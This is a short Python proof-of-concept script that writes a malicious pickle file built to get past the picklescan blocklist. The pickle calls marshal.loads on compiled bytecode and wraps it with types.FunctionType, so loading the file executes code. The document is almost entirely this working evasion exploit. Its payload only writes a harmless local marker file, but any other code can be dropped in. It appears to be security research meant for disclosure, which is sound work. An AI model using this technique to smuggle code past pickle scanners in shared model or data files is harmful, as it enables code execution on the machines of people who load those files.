#!/usr/bin/env python3
"""
PoC generator - picklescan blocklist evasion (marshal.loads + types.FunctionType).
Payload is DELIBERATELY HARMLESS: it writes a local file 'cyfra_marker' containing
'EXEC_OK'. It performs no network access, no deletion, and nothing outside the CWD.
"""
import marshal

PAYLOAD = "open('cyfra_marker','w').write('EXEC_OK')"

def build(path="chain.pkl"):
    code = compile(PAYLOAD, "<poc>", "exec")
    mc = marshal.dumps(code)
    p  = b"\x80\x02"
    p += b"ctypes\nFunctionType\n"
    p += b"(cmarshal\nloads\n(C" + len(mc).to_bytes(1, "little") + mc + b"tR"
    p += b"}tR"
    p += b")R."
    open(path, "wb").write(p)
    return len(p)

if __name__ == "__main__":
    n = build()
    print(f"wrote chain.pkl ({n} bytes)")